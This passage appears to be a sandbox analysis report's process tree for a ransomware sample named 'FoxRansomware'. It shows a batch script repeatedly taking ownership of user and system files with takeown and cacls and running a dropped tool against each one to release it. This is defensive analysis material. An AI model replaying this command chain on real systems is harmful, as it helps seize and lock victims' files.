      System Location Discovery: System Language Discovery
      PID:5424
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:7172
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\TileDataLayer\Database\vedatamodel.edb""
  2⤵
  PID:1040
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\TileDataLayer\Database\vedatamodel.edb" /E /G Admin:F /C
    3⤵
    PID:6684
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\TileDataLayer\Database\vedatamodel.edb"
    3⤵
    PID:6252
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "vedatamodel.edb" -nobanner
    3⤵
    PID:6632
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "vedatamodel.edb" -nobanner
      4⤵
      PID:3712
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:6384
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000007.bin""
  2⤵
  PID:6656
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000007.bin" /E /G Admin:F /C
    3⤵
    PID:6664
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000007.bin"
    3⤵
    - Modifies file permissions
    PID:6528
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "00000007.bin" -nobanner
    3⤵
    PID:5532
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "00000007.bin" -nobanner
      4⤵
      PID:6420
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:6504
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000L.bin""
  2⤵
  PID:6408
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000L.bin" /E /G Admin:F /C
    3⤵
    PID:6464
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000L.bin"
    3⤵
    PID:6580
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "0000000L.bin" -nobanner
    3⤵
    PID:5520
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "0000000L.bin" -nobanner
      4⤵
      PID:7056
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:6440
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000V.bin""
  2⤵
  PID:6460
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000V.bin" /E /G Admin:F /C
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6708
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000V.bin"
    3⤵
    - Modifies file permissions
    PID:7052
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "0000000V.bin" -nobanner
    3⤵
    PID:7040
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "0000000V.bin" -nobanner
      4⤵
      PID:684
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:3348
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006L.bin""
  2⤵
  PID:7120
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006L.bin" /E /G Admin:F /C
    3⤵
    PID:6328
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006L.bin"
    3⤵
    PID:928
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "0000006L.bin" -nobanner
    3⤵
    PID:8
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "0000006L.bin" -nobanner
      4⤵
      PID:6716
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:7140
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007T.bin""
  2⤵
  PID:2124
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007T.bin" /E /G Admin:F /C
    3⤵
    PID:7076
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007T.bin"
    3⤵
    PID:2116
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "0000007T.bin" -nobanner
    3⤵
    PID:8188
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "0000007T.bin" -nobanner
      4⤵
      PID:396
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:5860
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000087.bin""
  2⤵
  PID:5868
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000087.bin" /E /G Admin:F /C
    3⤵
    PID:3340
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000087.bin"
    3⤵
    - Modifies file permissions
    PID:8180
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "00000087.bin" -nobanner
    3⤵
    - System Location Discovery: System Language Discovery
    PID:292
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "00000087.bin" -nobanner
      4⤵
      PID:5852
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:5624
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\en-US\resource.xml""
  2⤵
  PID:6052
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\en-US\resource.xml" /E /G Admin:F /C
    3⤵
    PID:6844
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\en-US\resource.xml"
    3⤵
    PID:8024
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "resource.xml" -nobanner
    3⤵
    PID:284
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "resource.xml" -nobanner
      4⤵
      PID:7132
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:5728
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\All Users\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\es-ES\resource.xml""
  2⤵
  PID:6836
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\es-ES\resource.xml" /E /G Admin:F /C
    3⤵
    PID:7868
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\es-ES\resource.xml"
    3⤵
    PID:8064
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "resource.xml" -nobanner
    3⤵
    PID:6848
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "resource.xml" -nobanner
      4⤵
      PID:7952
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:7880
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\All Users\Microsoft\SmsRouter\MessageStore\edb00001.log""
  2⤵
  PID:7908
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\SmsRouter\MessageStore\edb00001.log" /E /G Admin:F /C
    3⤵
    PID:7760
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\SmsRouter\MessageStore\edb00001.log"
    3⤵
    PID:7764
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "edb00001.log" -nobanner
    3⤵
    PID:7836
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "edb00001.log" -nobanner
      4⤵
      PID:7972
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:8004
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftLync2010.xml""
  2⤵
  PID:8060
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftLync2010.xml" /E /G Admin:F /C
    3⤵
    PID:7780
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftLync2010.xml"
    3⤵
    PID:8016
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "MicrosoftLync2010.xml" -nobanner
    3⤵
    PID:7768
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "MicrosoftLync2010.xml" -nobanner
      4⤵
      PID:7572
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:7608
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Win32.xml""
  2⤵
  PID:7900
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Win32.xml" /E /G Admin:F /C
    3⤵
    PID:7476
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Win32.xml"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:7496
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "MicrosoftOffice2013Win32.xml" -nobanner
    3⤵
    PID:7596
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "MicrosoftOffice2013Win32.xml" -nobanner
      4⤵
      PID:7792
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:7752
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftSkypeForBusiness2016Win32.xml""
  2⤵
  PID:7964
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftSkypeForBusiness2016Win32.xml" /E /G Admin:F /C
    3⤵
    PID:7460
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftSkypeForBusiness2016Win32.xml"
    3⤵
    PID:7340
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "MicrosoftSkypeForBusiness2016Win32.xml" -nobanner
    3⤵
    PID:7732
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "MicrosoftSkypeForBusiness2016Win32.xml" -nobanner
      4⤵
      System Location Discovery: System Language Discovery
      PID:5332
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:7864
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\All Users\Microsoft\UEV\Templates\SettingsLocationTemplate2013A.xsd""
  2⤵
  PID:7580
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\UEV\Templates\SettingsLocationTemplate2013A.xsd" /E /G Admin:F /C
    3⤵
    PID:7264
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\UEV\Templates\SettingsLocationTemplate2013A.xsd"
    3⤵
    PID:7252
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "SettingsLocationTemplate2013A.xsd" -nobanner
    3⤵
    PID:7396
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "SettingsLocationTemplate2013A.xsd" -nobanner
      4⤵
      PID:7604
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:7532
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000099.bin""
  2⤵
  PID:3728
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000099.bin" /E /G Admin:F /C
    3⤵
    PID:7304
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000099.bin"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:7260
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "00000099.bin" -nobanner
    3⤵
    PID:6284
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "00000099.bin" -nobanner
      4⤵
      PID:7404
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:7196
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000009J.bin""
  2⤵
  PID:7308
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000009J.bin" /E /G Admin:F /C
    3⤵
    PID:5132
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000009J.bin"
    3⤵
    PID:5812
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "0000009J.bin" -nobanner
    3⤵
    PID:7276
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "0000009J.bin" -nobanner
      4⤵
      PID:7216
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:5476
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000A4.bin""
  2⤵
  PID:5152
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000A4.bin" /E /G Admin:F /C
    3⤵
    PID:5124
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000A4.bin"
    3⤵
    - Modifies file permissions
    PID:6620
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "000000A4.bin" -nobanner
    3⤵
    PID:6668
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "000000A4.bin" -nobanner
      4⤵
      PID:4180
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:6612
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000AF.bin""
  2⤵
  PID:6876
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000AF.bin" /E /G Admin:F /C
    3⤵
    PID:2072
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000AF.bin"
    3⤵
    PID:5804
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "000000AF.bin" -nobanner
    3⤵
    PID:5168
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "000000AF.bin" -nobanner
      4⤵
      PID:5840
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:1912
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000AP.bin""
  2⤵
  PID:5416
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000AP.bin" /E /G Admin:F /C
    3⤵
    PID:6128
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000AP.bin"
    3⤵
    PID:5492
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "000000AP.bin" -nobanner
    3⤵
    PID:5432
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "000000AP.bin" -nobanner
      4⤵
      PID:5364
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:3764
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000B5.bin""
  2⤵
  PID:1804
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000B5.bin" /E /G Admin:F /C
    3⤵
    PID:528
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000B5.bin"
    3⤵
    PID:6236
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "000000B5.bin" -nobanner
    3⤵
    PID:5864
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "000000B5.bin" -nobanner
      4⤵
      PID:1664
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:3316
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\TempState\TileCache_100_0_Header.bin""
  2⤵
  PID:4428
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\TempState\TileCache_100_0_Header.bin" /E /G Admin:F /C
    3⤵
    PID:4244
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\TempState\TileCache_100_0_Header.bin"
    3⤵
    PID:4892
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "TileCache_100_0_Header.bin" -nobanner
    3⤵
    PID:204
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "TileCache_100_0_Header.bin" -nobanner
      4⤵
      PID:3080
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:2000
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Program Files (x86)\Microsoft.NET\RedistList\AssemblyList_4_client.xml""
  2⤵
  PID:4292
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Program Files (x86)\Microsoft.NET\RedistList\AssemblyList_4_client.xml" /E /G Admin:F /C
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5732
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Program Files (x86)\Microsoft.NET\RedistList\AssemblyList_4_client.xml"
    3⤵
    PID:4924
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "AssemblyList_4_client.xml" -nobanner
    3⤵
    PID:6344
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "AssemblyList_4_client.xml" -nobanner
      4⤵
      PID:488
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:6080
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\behavior.xml""
  2⤵
  PID:6116
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\behavior.xml" /E /G Admin:F /C
    3⤵
    PID:1900
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\behavior.xml"
    3⤵
    PID:5916
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "behavior.xml" -nobanner
    3⤵
    PID:1960
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "behavior.xml" -nobanner
      4⤵
      PID:5200
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:5336
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\uk-UA\resource.xml""
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5672
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\uk-UA\resource.xml" /E /G Admin:F /C
    3⤵
    PID:6088
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\uk-UA\resource.xml"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5508
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "resource.xml" -nobanner
    3⤵
    PID:1948
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "resource.xml" -nobanner
      4⤵
      PID:5888
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:1968
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\ProgramData\Microsoft\Diagnosis\DownloadedScenarios\WINDOWS.PERFTRACKESCALATIONS.xml""
  2⤵
  PID:5800
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\Diagnosis\DownloadedScenarios\WINDOWS.PERFTRACKESCALATIONS.xml" /E /G Admin:F /C
    3⤵
    PID:6868
- - C:\Windows\SysWOW64\takeown.exe
